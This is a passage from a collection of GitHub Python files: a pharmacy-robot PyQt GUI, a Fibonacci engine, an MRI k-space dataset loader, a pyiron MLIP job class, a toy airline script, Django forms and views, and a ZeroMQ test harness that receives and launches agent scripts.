logo.setAlignment(QtCore.Qt.AlignCenter)\n logo.setStyleSheet(\"margin-top:50px; margin-bottom:50px\")\n \n mensaje = crear_mensaje(msg)\n \n widgets[\"logo\"].append(logo)\n grid.addWidget(widgets[\"logo\"][-1], 0, 0)\n widgets[\"message\"].append(mensaje)\n grid.addWidget(widgets[\"message\"][-1], 1, 0)\n \n\ndef deteccion_qr(url2, bandera_qr):\n global arduino\n \n # Detección QR\n imgResp = urllib.request.urlopen(url2)\n imgNp = np.array(bytearray(imgResp.read()), dtype=np.uint8)\n img = cv2.imdecode(imgNp, -1)\n qr = getQRS(img)\n first_qr = qr[0][\"text\"] if qr else {} # se asume solo un QR en la imagen\n print(\"first_qr es\", first_qr)\n if first_qr and bandera_qr:\n bandera_qr = 0\n ID = first_qr.split(\":\")[0]\n medicamento_detectado = data_handler.save_box(ID) # ATENCION si es None\n print(\"se va a guardar en\", medicamento_detectado)\n if medicamento_detectado is not None:\n print(qr) # reemplazar\n arduino.write((medicamento_detectado+\"\\n\").encode('UTF-8'))\n\n QtTest.QTest.qWait(100) # OJO\n data = arduino.readline().decode()\n return bandera_qr, data\n\ndef frame_reposicion():\n bandera_qr = 1\n while(True):\n frame_espera(3, msg=\"Mecabot está ocupado, por favor espere.\")\n bandera_qr, data = deteccion_qr(url_repo, bandera_qr)\n print(data)\n\n frame_espera(4, msg=\"Mecabot está ocupado, por favor espere.\")\n bandera_qr, data = deteccion_qr(url_repo, bandera_qr)\n print(data)\n\n # Condición de salir del frame de espera\n if data == \"desocupado\\r\\n\": \n print(\"aper\")\n break\n else:\n print(\"ascii\", ascii(data))\n start_program()\n \n \ndef frame_retirar():\n \"\"\"\n Imprime un mensaje en pantalla para retirar el medicamento una vez que\n llega a la caja de donde se puede agarrar, el mensaje dura 4 segundos\n y luego vuelve a la pantalla principal.\n \"\"\"\n clear_widgets()\n while True:\n image = QPixmap(f\"{root_path}/img/fin.png\")\n logo = QLabel()\n logo.setPixmap(image)\n logo.setAlignment(QtCore.Qt.AlignCenter)\n logo.setStyleSheet(\"margin-top:50px; margin-bottom:50px\")\n \n mensaje = crear_mensaje(\"Por favor retire su medicamento.\")\n \n widgets[\"logo\"].append(logo)\n grid.addWidget(widgets[\"logo\"][-1], 0, 0)\n widgets[\"message\"].append(mensaje)\n grid.addWidget(widgets[\"message\"][-1], 1, 0)\n \n data = arduino.readline().decode()\n print(ascii(data))\n if data==\"home\\r\\n\":\n break\n start_program()\n\n\ndef frame_sin_medicamento():\n \"\"\"\n Imprime un mensaje en pantalla que no se encuentra el medicamento,\n el mensaje dura 4 segundos y luego vuelve a la pantalla principal.\n \"\"\"\n clear_widgets()\n image = QPixmap(f\"{root_path}/img/not_found.png\")\n logo = QLabel()\n logo.setPixmap(image)\n logo.setAlignment(QtCore.Qt.AlignCenter)\n logo.setStyleSheet(\"margin-top:50px; margin-bottom:50px\")\n \n mensaje = crear_mensaje(\"Medicamento fuera de stock.\")\n \n widgets[\"logo\"].append(logo)\n grid.addWidget(widgets[\"logo\"][-1], 0, 0)\n widgets[\"message\"].append(mensaje)\n grid.addWidget(widgets[\"message\"][-1], 1, 0)\n QtTest.QTest.qWait(4000)\n start_program()\n\ndef start_program():\n clear_widgets()\n frame_home()\n\n\ndef frame_base():\n #display Logo\n image = QPixmap(f\"{root_path}/img/logo.png\")\n logo = QLabel()\n logo.setPixmap(image)\n logo.setAlignment(QtCore.Qt.AlignCenter)\n logo.setStyleSheet(\"margin-top:50px; margin-bottom:80px\")\n widgets[\"logo\"].append(logo)\n \n #button widget\n button1 = createButton(\"Iniciar Mecabot\")\n button1.clicked.connect(start_program)\n \n widgets[\"button\"].append(button1)\n\n grid.addWidget(widgets[\"logo\"][-1], 0, 0)\n grid.addWidget(widgets[\"button\"][-1], 1, 0)\n \n \nframe_base()\n\nwindow.setLayout(grid)\n\nwindow.show()\n\napp.exec()\n","repo_name":"tetotille/robot_farmacia","sub_path":"src/GUI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13334,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22446105845","text":"\"\"\"\nEngine for Fibonacci Series\n\"\"\"\n\nfrom NumberProgressions import FibonacciSequence\n\n__memory__: list # will hold all the used variables\n__supported__: float # variable to hold current size of __memory__, signifies the current supported iterator states\n__iterator__: float # Iteration State variable\n__current__: float # holder current iteration\n__previous__: float # holder previous number\n\n# assigns values to __memory__\ndef __assign__(iterator: float):\n global __memory__\n if iterator <= 1:\n __memory__[iterator] = 1\n else:\n __memory__[iterator] = __memory__[iterator - 1] + __memory__[iterator - 2]\n\n# automatically assigns data to __memory__ based on argument iterator state\ndef __auto__(iterator: float):\n global __memory__, __supported__\n try:\n if __memory__ == None:\n __memory__ = list()\n else:\n pass\n except NameError:\n __memory__ = list()\n if iterator >= __supported__:\n for i in range(0, int(iterator - __supported__)):\n __memory__.append(float)\n __assign__(__supported__ + i)\n __supported__ = iterator\n else:\n return\n\n# initialize engine\ndef init(support: float = 15):\n global __memory__, __supported__, __iterator__, __current__, __previous__\n __memory__ = list()\n __supported__ = 0\n __auto__(support)\n __iterator__ = 1\n __current__ = __memory__[__iterator__]\n __previous__ = float()\n\n# flush memory\ndef flush():\n global __memory__, __supported__, __iterator__, __current__, __previous__\n del __memory__, __supported__, __iterator__, __current__, __previous__\n \n# iterate forward once\ndef next():\n global __memory__, __supported__, __iterator__, __current__, __previous__\n __iterator__ += 1\n __previous__ = __current__\n if __iterator__ > __supported__:\n __auto__(__iterator__ - 1)\n __current__ = __memory__[__iterator__ - 1]\n\n# iterate backward once\ndef back():\n global __memory__, __supported__, __iterator__, __current__, __previous__\n __iterator__ -= 1\n __current__ = __previous__\n __previous__ = __memory__[__iterator__ - 2]\n return __current__\n\n# iterate at present\ndef now():\n global __current__\n return __current__\n\n# iterate to a certain iteration state\ndef jump(iterator: float):\n global __memory__, __supported__, __iterator__, __current__, __previous__\n __iterator__ = iterator\n if __iterator__ > __supported__:\n __auto__(__iterator__ - 1)\n __current__ = __memory__[__iterator__ - 1]\n __previous__ = __memory__[__iterator__ - 2]\n return __current__\n\n# shift to certain iteration state\ndef seek(iterator: float):\n global __memory__, __supported__, __iterator__, __current__, __previous__\n __iterator__ = iterator\n if __iterator__ > __supported__:\n __auto__(__iterator__ - 1)\n __current__ = __memory__[__iterator__ - 1]\n __previous__ = __memory__[__iterator__ - 2]\n \n# instantly use fibonacci sequence\ndef use(iterator: float):\n global __supported__, __iterator__, __current__, __previous__\n __iterator__ = iterator\n try:\n if __supported__ == None:\n pass \n else:\n __supported__ = 0\n except NameError:\n __supported__ = 0\n if __iterator__ > __supported__:\n __auto__(__iterator__)\n global __memory__\n __current__ = __memory__[__iterator__ - 1]\n if len(__memory__) == 1:\n __previous__ = float()\n else:\n __previous__ = __memory__[__iterator__ - 2]\n return __current__\n","repo_name":"SilverousBlack/NumberProgressions","sub_path":"src/FibonacciSequence.pyw","file_name":"FibonacciSequence.pyw","file_ext":"pyw","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"9787651696","text":"import h5py\nfrom fastmri.data.mri_data import et_query\nfrom fastmri.coil_combine import rss_complex\nfrom fastmri.fftc import ifft2c_new\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pickle\nimport time\nimport torch\nfrom torchvision.transforms import CenterCrop\nimport xml.etree.ElementTree as etree\nfrom torch.utils.data import Dataset\nfrom typing import (\n Callable, Dict, NamedTuple, Optional, Tuple, Union\n)\n\nfrom tools import transforms as T\n\n\nclass DiscriminatorSample(NamedTuple):\n ref_kspace: torch.Tensor\n distorted_kspace: torch.Tensor\n theta: float\n dx: float\n dy: float\n sampled_mask: torch.Tensor\n acquiring_mask: torch.Tensor\n metadata: dict\n fn: str\n slice_idx: int\n uncompressed_ref_kspace: torch.Tensor\n uncompressed_distorted_kspace: torch.Tensor\n max_value: float\n\n\nclass DiscriminatorDataset(Dataset):\n \"\"\"Dataset for training k-space discriminator models.\"\"\"\n\n def __init__(\n self,\n data_path: str,\n transform: Callable,\n seed: Optional[int] = None,\n fast_dev_run: bool = False,\n num_gpus: int = 0,\n dataset_cache_file: Optional[str] = None,\n is_mlp: bool = True,\n split: Optional[str] = None,\n center_crop: Optional[Tuple[int]] = (-1, -1)\n ):\n \"\"\"\n Args:\n data_path: a string path to the input dataset (or data file).\n transform: an image transform module.\n seed: optional random seed for determining order of dataset.\n fast_dev_run: whether we are running a test fast_dev_run.\n num_gpus: number of GPUs used for training.\n dataset_cache_file: optional dataset cache file to use for faster\n load times.\n is_mlp: specify whether discriminator is an MLP network.\n split: specify whether dataset is for validation or testing. Only\n required if is_mlp is True.\n center_crop: kspace center crop dimensions. Default no center crop.\n \"\"\"\n super().__init__()\n self.transform = transform\n self.fast_dev_run = fast_dev_run\n self.rng = np.random.RandomState(seed)\n self.data_path = data_path\n self.dataset_cache_file = dataset_cache_file\n self.center_crop = center_crop\n if self.dataset_cache_file is None:\n if \"multicoil\" in data_path.lower():\n cache_path = \"multicoil_\"\n elif \"singlecoil\" in data_path.lower():\n cache_path = \"singlecoil_\"\n else:\n cache_path = \"coil_\"\n if \"knee\" in data_path.lower():\n cache_path += \"knee_\"\n elif \"brain\" in data_path.lower():\n cache_path += \"brain_\"\n else:\n cache_path += \"anatomy_\"\n cache_path += \"cache.pkl\"\n self.dataset_cache_file = os.path.join(\n os.environ.get(\"AMLT_OUTPUT_DIR\", \"./\"),\n cache_path\n )\n\n if os.path.isfile(self.dataset_cache_file):\n with open(self.dataset_cache_file, \"rb\") as f:\n cache = pickle.load(f)\n else:\n cache = {}\n self.data = cache.get(os.path.basename(self.data_path), [])\n self.fns = None\n if len(self.data) > 0:\n print(f\"Using data cache file {self.dataset_cache_file}.\")\n else:\n if os.path.isdir(self.data_path):\n data = os.listdir(self.data_path)\n fns = []\n for f in data:\n if os.path.isfile(os.path.join(self.data_path, f)):\n fns.append(f)\n elif os.path.isfile(self.data_path):\n fns = [self.data_path]\n else:\n raise ValueError(f\"{self.data_path} is not a valid data path.\")\n self.fns = fns\n if self.fast_dev_run:\n self.fns = self.fns[:16]\n\n for fn in sorted(self.fns):\n if not fn.endswith(\".h5\"):\n continue\n metadata, num_slices = self.slice_metadata(fn)\n for slice_idx in range(num_slices):\n self.data += [(fn, slice_idx, metadata)]\n\n if not self.fast_dev_run and os.path.isdir(self.data_path):\n cache[os.path.basename(self.data_path)] = self.data\n with open(self.dataset_cache_file, \"w+b\") as f:\n pickle.dump(cache, f)\n print(\n \"Saved dataset cache to\",\n f\"{os.path.abspath(self.dataset_cache_file)}.\"\n )\n # Split the validation dataset into half for validation and half\n # for testing. Make sure to use the same seed during both model\n # training and inference.\n mid = len(self.data) // 2\n if is_mlp and split is not None and split.lower() == \"val\":\n self.data[:mid]\n elif is_mlp and split is not None:\n self.data[mid:]\n self.rng.shuffle(self.data)\n\n if num_gpus > 1:\n even_length = (len(self.data) // num_gpus) * num_gpus\n self.data = self.data[:even_length]\n\n self.recons_key = \"reconstruction_esc\"\n if \"multicoil\" in self.data_path:\n self.recons_key = \"reconstruction_rss\"\n\n def __len__(self) -> int:\n \"\"\"\n Returns the number of samples in our dataset. Required for\n torch.utils.data.Dataset subclass implementation.\n Input:\n None.\n Returns:\n Number of samples in our dataset.\n \"\"\"\n return len(self.data)\n\n def __getitem__(self, idx: int) -> DiscriminatorSample:\n \"\"\"\n Loads and returns a sample from the dataset at the given index.\n Required for torch.utils.data.Dataset subclass implementation.\n Input:\n idx: index of desired dataset.\n Returns:\n A DiscriminatorSample object.\n \"\"\"\n fn, slice_idx, metadata = self.data[idx]\n with h5py.File(os.path.join(self.data_path, fn), \"r\") as hf:\n kspace = T.to_tensor(hf[\"kspace\"][slice_idx])\n # Add a coil dimension for single coil data.\n if kspace.ndim < 4:\n kspace = torch.unsqueeze(kspace, dim=0)\n if self.center_crop[0] > 0 and self.center_crop[-1] > 0:\n kspace = torch.permute(kspace, dims=(0, -1, 1, 2))\n kspace = T.center_crop(kspace, self.center_crop)\n kspace = torch.permute(kspace, dims=(0, 2, 3, 1))\n\n targ = None\n if self.recons_key in hf:\n targ = hf[self.recons_key][slice_idx]\n targ = torch.unsqueeze(T.to_tensor(targ), dim=0)\n\n # Update metadata with any additional data associated with file.\n metadata.update(dict(hf.attrs))\n\n return self.transform(kspace, metadata, fn, slice_idx, targ)\n\n def slice_metadata(self, fn: str) -> Tuple[Dict, int]:\n \"\"\"\n Retrieves metadata associated with a particular input file. This\n function is equivalent to the _retrieve_metadata() function defined\n for the SliceDataset class in the fastMRI repo.\n Input:\n fn: input data file name.\n Returns:\n padding_left, padding_right, encoding_size, recon_size.\n \"\"\"\n with h5py.File(os.path.join(self.data_path, fn), \"r\") as hf:\n et_root = etree.fromstring(hf[\"ismrmrd_header\"][()])\n enc = [\"encoding\", \"encodedSpace\", \"matrixSize\"]\n enc_size = (\n int(et_query(et_root, enc + [\"x\"])),\n int(et_query(et_root, enc + [\"y\"])),\n int(et_query(et_root, enc + [\"z\"])),\n )\n recon = [\"encoding\", \"reconSpace\", \"matrixSize\"]\n recon_size = (\n int(et_query(et_root, recon + [\"x\"])),\n int(et_query(et_root, recon + [\"y\"])),\n int(et_query(et_root, recon + [\"z\"])),\n )\n\n limits = [\"encoding\", \"encodingLimits\", \"kspace_encoding_step_1\"]\n enc_limits_center = int(et_query(et_root, limits + [\"center\"]))\n enc_limits_max = int(et_query(et_root, limits + [\"maximum\"])) + 1\n\n padding_left = enc_size[1] // 2 - enc_limits_center\n padding_right = padding_left + enc_limits_max\n\n num_slices = hf[\"kspace\"].shape[0]\n\n metadata = {\n \"padding_left\": padding_left,\n \"padding_right\": padding_right,\n \"encoding_size\": enc_size,\n \"recon_size\": recon_size,\n }\n\n return metadata, num_slices\n\n def debug_plots(\n self,\n idx: Optional[int] = None,\n center_crop: Optional[Union[torch.Size, tuple]] = None,\n savefig: bool = False,\n seed: Optional[int] = None\n ) -> None:\n \"\"\"\n Generate debug plots to visualize the dataset.\n Input:\n idx: training sample item index to visualize. If None, then a\n random item is chosen out of the dataset to plot.\n center_crop: an optional tuple of shape HW to crop the images to.\n savefig: whether or not to save the debug plot.\n seed: optional random seed.\n Returns:\n None.\n \"\"\"\n if seed is None or seed < 0:\n seed = int(time.time())\n rng = np.random.RandomState(seed)\n if idx is None or not isinstance(idx, int):\n idx = rng.randint(0, self.__len__())\n idx = idx % self.__len__()\n\n # Center crop operation.\n if center_crop is None:\n center_crop = (320, 320)\n crop = CenterCrop(\n (min(320, center_crop[0]), min(320, center_crop[-1]))\n )\n\n item = self.__getitem__(idx)\n fig, axs = plt.subplots(2, 2, figsize=(5, 8))\n eps = torch.finfo(torch.float32).eps\n axs[0, 0].imshow(\n torch.log(rss_complex(item.ref_kspace) + eps), cmap=\"gray\"\n )\n axs[0, 0].set_title(\"Reference kspace\")\n axs[0, 1].imshow(\n torch.log(rss_complex(item.distorted_kspace) + eps), cmap=\"gray\"\n )\n axs[0, 1].set_title(\"Distorted kspace\")\n axs[1, 0].imshow(\n crop(rss_complex(ifft2c_new(item.ref_kspace))), cmap=\"gray\"\n )\n axs[1, 0].set_title(\"Reference Target\")\n axs[1, 0].axis(\"off\")\n axs[1, 1].imshow(\n crop(rss_complex(ifft2c_new(item.distorted_kspace))), cmap=\"gray\"\n )\n axs[1, 1].set_title(\"Distorted Target\")\n axs[1, 1].axis(\"off\")\n\n fig.tight_layout()\n if savefig:\n plt.savefig(\n f\"debug_discriminator_{seed}.png\",\n dpi=600,\n format=\"png\",\n bbox_inches=\"tight\",\n transparent=True\n )\n else:\n plt.show()\n","repo_name":"michael-s-yao/accMRI","sub_path":"discriminator/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":10937,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"27907763304","text":"import os\nimport shutil\nfrom pyiron_atomistics.atomistics.job.atomistic import AtomisticGenericJob\nfrom pyiron_potentialfit.mlip.mlip import write_cfg, read_cgfs\nfrom pyiron_base import GenericParameters\n\n__author__ = \"Jan Janssen\"\n__copyright__ = (\n \"Copyright 2020, Max-Planck-Institut für Eisenforschung GmbH - \"\n \"Computational Materials Design (CM) Department\"\n)\n__version__ = \"1.0\"\n__maintainer__ = \"Jan Janssen\"\n__email__ = \"janssen@mpie.de\"\n__status__ = \"development\"\n__date__ = \"Sep 1, 2018\"\n\n\nclass MlipJob(AtomisticGenericJob):\n def __init__(self, project, job_name):\n super(MlipJob, self).__init__(project, job_name)\n self.__name__ = \"MlipJob\"\n self.__version__ = None\n self._executable_activate()\n self.input = MlipParameter()\n\n @property\n def potential(self):\n return self.input[\"mlip:load-from\"]\n\n @potential.setter\n def potential(self, potential_filename):\n self.input[\"mlip:load-from\"] = potential_filename\n\n def set_input_to_read_only(self):\n \"\"\"\n This function enforces read-only mode for the input classes, but it has to be implement in the individual\n classes.\n \"\"\"\n super(MlipJob, self).set_input_to_read_only()\n self.input.read_only = True\n\n def to_hdf(self, hdf=None, group_name=None):\n super(MlipJob, self).to_hdf(hdf=hdf, group_name=group_name)\n with self.project_hdf5.open(\"input\") as hdf5_input:\n self.input.to_hdf(hdf5_input)\n\n def from_hdf(self, hdf=None, group_name=None):\n super(MlipJob, self).from_hdf(hdf=hdf, group_name=group_name)\n with self.project_hdf5.open(\"input\") as hdf5_input:\n self.input.from_hdf(hdf5_input)\n\n def write_input(self):\n write_cfg(\n file_name=os.path.join(self.working_directory, \"structure.cfg\"),\n indices_lst=[self.structure.indices],\n position_lst=[self.structure.positions],\n cell_lst=[self.structure.cell],\n forces_lst=None,\n energy_lst=None,\n track_lst=None,\n stress_lst=None,\n )\n shutil.copyfile(\n self.input[\"mlip:load-from\"],\n os.path.join(self.working_directory, \"potential.mtp\"),\n )\n self.input[\"mlip:load-from\"] = \"potential.mtp\"\n self.input.write_file(file_name=\"mlip.ini\", cwd=self.working_directory)\n\n def collect_output(self):\n file_name = os.path.join(self.working_directory, \"structurebyMTP.cfg\")\n (\n cell,\n positions,\n forces,\n stress,\n energy,\n indicies,\n grades,\n jobids,\n timesteps,\n ) = read_cgfs(file_name=file_name)\n with self.project_hdf5.open(\"output\") as hdf5_output:\n hdf5_output[\"forces\"] = forces\n hdf5_output[\"energy_tot\"] = energy\n hdf5_output[\"pressures\"] = stress\n hdf5_output[\"cells\"] = cell\n hdf5_output[\"positions\"] = positions\n hdf5_output[\"indicies\"] = indicies\n\n\nclass MlipParameter(GenericParameters):\n def __init__(self, separator_char=\" \", comment_char=\"#\", table_name=\"mlip_inp\"):\n super(MlipParameter, self).__init__(\n separator_char=separator_char,\n comment_char=comment_char,\n table_name=table_name,\n )\n self._bool_dict = {True: \"TRUE\", False: \"FALSE\"}\n\n def load_default(self, file_content=None):\n if file_content is None:\n file_content = \"\"\"\\\nabinitio void\nmlip mtpr\nmlip:load-from auto\ncalculate-efs TRUE\nwrite-cfgs structurebyMTP.cfg\n\"\"\"\n self.load_string(file_content)\n","repo_name":"pyiron/pyiron_potentialfit","sub_path":"pyiron_potentialfit/mlip/mlipjob.py","file_name":"mlipjob.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"25437598259","text":"print(\"\")\nprint(\"Air India confidential.\")\nprint(\"In association with British Airways.\")\nprint(\"An RN code.\")\nprint(\"\")\n\n\nSeatNumber = []\n\n\nimport random\nplaneNumber = random.randint(100,999)\ntimeHrs = random.randint(00,23)\ntimeMins = random.randint(00,59)\n\n\nif(planeNumber >= 500):\n import random\n flightTime = random.randint(5,10)\n print(\"International flight AI \" + str(planeNumber) + \" departing at \" + str(timeHrs).zfill(2) + \":\" + str(timeMins).zfill(2) + \" IST. Flight time is \" + str(flightTime) + \" hours.\")\nelse:\n import random\n flightTime = random.randint(1,4)\n print(\"Domestic flight AI \" + str(planeNumber) + \" departing at \" + str(timeHrs).zfill(2) + \":\" + str(timeMins).zfill(2) + \" IST. Flight time is \" + str(flightTime) + \" hours.\")\n\n\nBA_Customers = open(\"BA_Customers.txt\", \"r\")\n\n\nfor Customer_Detail in BA_Customers:\n split = Customer_Detail.split(\"|| \")\n counter = 0\n display = \"\"\n for ele in split:\n detail = ele.strip()\n if(counter == 0):\n display = display + \"The passenger \" + detail\n elif(counter == 1):\n display = display + \" is of age \" + detail\n elif(counter == 2):\n display = display + \", is \" + detail + \" gender\"\n import random\n seatLetter = random.randint(1,6)\n if(seatLetter == 1):\n seatLetter2 = \"A (left window)\"\n elif(seatLetter == 2):\n seatLetter2 = \"B (left middle)\"\n elif(seatLetter == 3):\n seatLetter2 = \"C (left aisle)\"\n elif(seatLetter == 4):\n seatLetter2 = \"D (right aisle)\"\n elif(seatLetter == 5):\n seatLetter2 = \"E (right middle)\"\n elif(seatLetter == 6):\n seatLetter2 = \"F (right window)\"\n else:\n seatLetter2 = \" - System Malfunction. Please try again later. \"\n \n counter = counter + 1\n import random\n seatNumber2 = random.randint(1,25)\n display = display + \" and has a seat number of \" + str(seatNumber2) + seatLetter2\n print(display)\n Seat = [str(seatNumber2), str(seatLetter2)]\n SeatNumber = SeatNumber + Seat\n\nprint(\"\")\n\nexit = 0\n\nBaggage_Drop = raw_input(\"Would you like to do Self Baggage Drop? \")\nif(Baggage_Drop == \"Yes\" or Baggage_Drop == \"yes\" or Baggage_Drop == \"Y\" or Baggage_Drop == \"y\"):\n while(exit != 1):\n bags = raw_input(\"Please enter your bag. Type 'D' when you're done and press enter to exit. \")\n if(bags == \"\"):\n exit = exit + 1\n else:\n import random\n weight = random.randint(10,35)\n if(weight > 25):\n print(\"Your bag is too heavy. It is \" + str(weight) + \"kg. Please enter another one.\")\n else:\n print(\"Your bag is \" + str(weight) + \"kg. Going through to your plane. \")\n\nprint(\"\")","repo_name":"nayakrujul/python-scripts","sub_path":"Old Programs/AI_Customers-2.py","file_name":"AI_Customers-2.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"39686493289","text":"from django import forms\nfrom .models import Lot, User\n\n\nclass FeedbackForm(forms.Form):\n seller = forms.IntegerField(required=False)\n lot = forms.IntegerField(required=False)\n text = forms.CharField()\n\n def clean(self):\n cleaned_data = super().clean()\n seller = cleaned_data.get('seller')\n lot = cleaned_data.get('lot')\n if not seller and not lot:\n raise forms.ValidationError(\n 'Поля \"Продавец\" и \"Лот\" не могут быть оба пустыми. Заполните хотя бы одно из двух'\n )\n if seller and lot:\n raise forms.ValidationError(\n 'Поля \"Продавец\" и \"Лот\" не могут быть оба заполнены. Оставить отзыв можно только на одного из двух'\n )\n return cleaned_data\n\n def clean_seller(self):\n seller = self.cleaned_data.get('seller')\n if not seller:\n return None\n user = User.objects.filter(id=seller, role='SL').first()\n if not user:\n raise forms.ValidationError('Нет такого продовца')\n return user\n\n def clean_lot(self):\n lot = self.cleaned_data.get('lot')\n if not lot:\n return None\n lot = Lot.objects.filter(id=lot).first()\n if not lot:\n raise forms.ValidationError('Нет такого лота')\n return lot\n","repo_name":"Gaarmr/frosty","sub_path":"frosty/flowers/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22631863613","text":"from collections.abc import Collection\nimport itertools\n\n\ndef interleave(*iterables: Collection) -> list:\n \"\"\"\n The function receives one or more iterable parameters, and returns a list of intertwined items.\n For example, for the call: interleave('abc', [1, 2, 3], ('!', '@', '#')), the value to be returned\n is: ['a', 1, '!', 'b', 2, '@', 'c', 3, '#'].\n :param iterables: The iterables that need to be intertwined.\n :return: The intertwined list.\n \"\"\"\n return list(filter(lambda item: item is not None, list(itertools.chain(*list(itertools.zip_longest(*iterables))))))\n\n\nif __name__ == '__main__':\n interleave_generator = (list_item for list_item in interleave('abcde', [1, 2, 3], ('!', '@', '#'))) # the generator\n interwoven_list = list(interleave_generator)\n print(interwoven_list)\n","repo_name":"ScaleUp-Academy-ExcellenTeam22/yam-mesika-weeks-5-6-part-2-leeKol","sub_path":"communicating_vessels.py","file_name":"communicating_vessels.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19365216567","text":"from django.db.models import Q\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import ListView\nfrom rest_framework.viewsets import ModelViewSet\nfrom .serializer import *\nfrom .models import *\nfrom rest_framework.permissions import AllowAny\n\nclass CategoryViewSet(ModelViewSet):\n serializer_class = categoryserializer\n queryset = category.objects.all()\n permission_classes = [AllowAny]\n # pagination_class = CursorPagination\n\n\nclass ProductViewSet(ModelViewSet):\n serializer_class = productsserializer\n queryset = products.objects.all()\n permission_classes = [AllowAny]\n\n@csrf_exempt\ndef Product(request):\n category = request.GET.get('name', None)\n print(\"--->\", category)\n queryset = list(products.objects.filter(category_name__name__iexact=category).values())\n\n if not queryset:\n queryset = 'No Data Found'\n return JsonResponse({'Products': queryset})\n\n permission_classes = [AllowAny]\n\n\ndef Home(request):\n ctx = {}\n queryset = category.objects.all()\n ctx['data'] = queryset\n # print(ctx)\n return render(request, 'categories.html', ctx)\n \ndef Products(request, id):\n ctx = {}\n product = products.objects.filter(category=id)\n ctx['data'] = product\n # print(ctx)\n # ctx['category'] = \"Jeans\"\n ctx['category'] = category.objects.get(id=id)\n return render(request, 'products.html', ctx)\n return render(request, 'navbar.html', ctx)\n\ndef Product_Details(request, id):\n ctx = {}\n product = products.objects.filter(id=id)\n ctx['data'] = product\n return render(request, 'product_details.html', ctx)\n\n\n","repo_name":"MangleshQB/Back_Front_TeleBot","sub_path":"Categories/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"31208210384","text":"import pytest\nimport sh\nimport signal\nimport zmq\n\n__author__ = \"Piotr Gawlowicz\"\n__copyright__ = \"Copyright (c) 2017, Technische Universität Berlin\"\n__version__ = \"0.1.0\"\n__email__ = \"gawlowicz@tkn.tu-berlin.de\"\n\n\nclass RemoteAgentHost(object):\n def __init__(self, port=567890):\n self.port = port\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REP)\n self.socket.bind(\"tcp://*:%s\" % port)\n\n self.agentScriptPath = \"/tmp/recv_agentScript.py\"\n self.agentConfigPath = \"/tmp/recv_agentConfig.yaml\"\n\n self.agentStartCmd = sh.Command(\"python3\")\n self.agentProcess = None\n self.isRunning = False\n\n def start_agent_process(self):\n self.agentProcess = self.agentStartCmd(self.agentScriptPath,\n \"--config\",\n self.agentConfigPath,\n _bg=True, _out=None, _err=None)\n self.isRunning = True\n print('\\nWiSHFUL Agent started in new process')\n\n def is_agent_process_running(self):\n return self.isRunning\n\n def stop_agent_process(self):\n try:\n self.agentProcess.signal(signal.SIGINT)\n except Exception as e:\n print(\"Agent stopped\", e)\n self.isRunning = False\n print('\\nWiSHFUL Agent process terminated')\n\n def terminate_agent_process(self):\n try:\n self.agentProcess.terminate()\n except Exception as e:\n print(\"Agent killed\", e)\n self.isRunning = False\n print('\\nWiSHFUL Agent process terminated')\n\n def start_cmd_rx(self):\n try:\n while True:\n [cmd, data] = self.socket.recv_multipart()\n print (\"Received request: \", cmd)\n if cmd == b\"agentConfig\":\n try:\n sh.rm(self.agentConfigPath)\n except Exception:\n print(\"file does not exist, skip\")\n\n try:\n f = open(self.agentConfigPath, 'wb')\n f.write(data)\n f.close()\n except Exception:\n self.socket.send_json(1)\n\n elif cmd == b\"agentScript\":\n try:\n sh.rm(self.agentScriptPath)\n except Exception:\n print(\"file does not exist, skip\")\n\n try:\n f = open(self.agentScriptPath, 'wb')\n f.write(data)\n f.close()\n except Exception:\n self.socket.send_json(2)\n\n elif cmd == b\"start_remote_agent\":\n try:\n self.start_agent_process()\n except Exception:\n self.socket.send_json(3)\n\n elif cmd == b\"is_remote_agent_running\":\n try:\n r = self.is_agent_process_running()\n retVal = 0\n if r:\n retVal = 1\n self.socket.send_json(retVal)\n except Exception:\n self.socket.send_json(4)\n continue\n\n elif cmd == b\"stop_remote_agent\":\n try:\n self.stop_agent_process()\n except Exception:\n self.socket.send_json(5)\n\n elif cmd == b\"terminate_remote_agent\":\n try:\n self.terminate_agent_process()\n except Exception:\n self.socket.send_json(6)\n\n self.socket.send_json(0)\n except KeyboardInterrupt:\n print(\"RemoteAgentHost exits\")\n self.terminate_agent_process()\n\n\nclass RemoteAgentHostProxy(object):\n def __init__(self, ip, port=567890):\n self.ip = ip\n self.port = port\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.REQ)\n self.socket.connect(\"tcp://{}:{}\".format(self.ip, self.port))\n\n self.agentScriptPath = None\n self.agentConfigPath = None\n\n def send_cmd(self, cmd, data=b\"\"):\n msg = [cmd, data]\n self.socket.send_multipart(msg, zmq.NOBLOCK)\n response = self.socket.recv()\n return response\n\n def upload_agent_script(self, agentScriptPath):\n self.agentScriptPath = agentScriptPath\n file = open(agentScriptPath, 'rb')\n data = file.read()\n msg = [b\"agentScript\", data]\n self.socket.send_multipart(msg, zmq.NOBLOCK)\n response = self.socket.recv()\n response = int(response)\n return response\n\n def upload_agent_config(self, agentConfigPath):\n self.agentConfigPath = agentConfigPath\n file = open(agentConfigPath, 'rb')\n data = file.read()\n msg = [b\"agentConfig\", data]\n self.socket.send_multipart(msg, 